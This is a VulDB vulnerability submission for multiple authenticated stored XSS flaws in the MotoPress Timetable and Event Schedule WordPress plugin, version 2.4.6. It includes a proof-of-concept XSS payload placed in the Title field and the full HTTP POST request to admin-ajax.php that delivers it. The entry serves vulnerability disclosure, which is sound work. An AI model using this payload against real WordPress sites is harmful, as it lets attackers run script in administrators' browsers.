| 제목 | Multiple Authenticated (contributor or higher user role) Stored Cross-Site Scripting (XSS) vulnerabilities in Timetable and Event Schedule by MotoPress |
|---|
| 설명 | # Multiple Authenticated (contributor or higher user role) Stored Cross-Site Scripting (XSS) vulnerabilities in Timetable and Event Schedule by MotoPress
# Exploit Author: Mostafa Farzaneh (Mr.pyweb)
# Web Site: https://motopress.com/
# Software Homepage: https://wordpress.org/plugins/mp-timetable/
# Version : 2.4.6
# Tested on: Windows 10
# Category: WebApp
# Date: 2022-05-24
# Description:
MotoPress Timetable and Event Schedule is an all-around organizer plugin developed to help you create and manage online schedules for a single or multiple events, customize the appearance of each event, add date, time, description and display all the needed items in a carefully-crafted timetable.
An authenticated user is able to inject arbitrary Javascript or HTML code to the "Timetable page" on Title's parameter This causes Stored XSS attack against the administrators or the other authenticated users.
POC:
1- go to Timetable page
2- click on Quick Edit and change Title's value to "<img src=x onerror=alert`2`>" and click on update
3- click on view to run XSS payload
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wp/wp-admin/edit.php?post_type=mp-event
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 432
Origin: http://127.0.0.1
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
post_title=%3Cimg+src%3Dx+onerror%3Dalert%603%60%3E&post_name=17&mm=05&jj=23&aa=2022&hh=18&mn=18&ss=01&post_author=1&post_password=&tax_input%5Bmp-event_category%5D%5B%5D=0&tax_input%5Bmp-event_category%5D%5B%5D=13&menu_order=0&tax_input%5Bmp-event_tag%5D=&comment_status=open&_status=publish&_inline_edit=f68c320526&post_view=list&screen=edit-mp-event&action=inline-save&post_type=mp-event&post_ID=17&edit_date=true&post_status=all |
|---|
| 사용자 | pyweb-security (UID 11883) |
|---|
| 제출 | 2022. 08. 15. AM 11:58 (4 연령 ago) |
|---|
| 모더레이션 | 2022. 08. 16. PM 03:42 (1 day later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 206486 [MotoPress Timetable and Event Schedule 켜짐 WordPress Quick Edit /wp-admin/admin-ajax.php post_title 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 17 |
|---|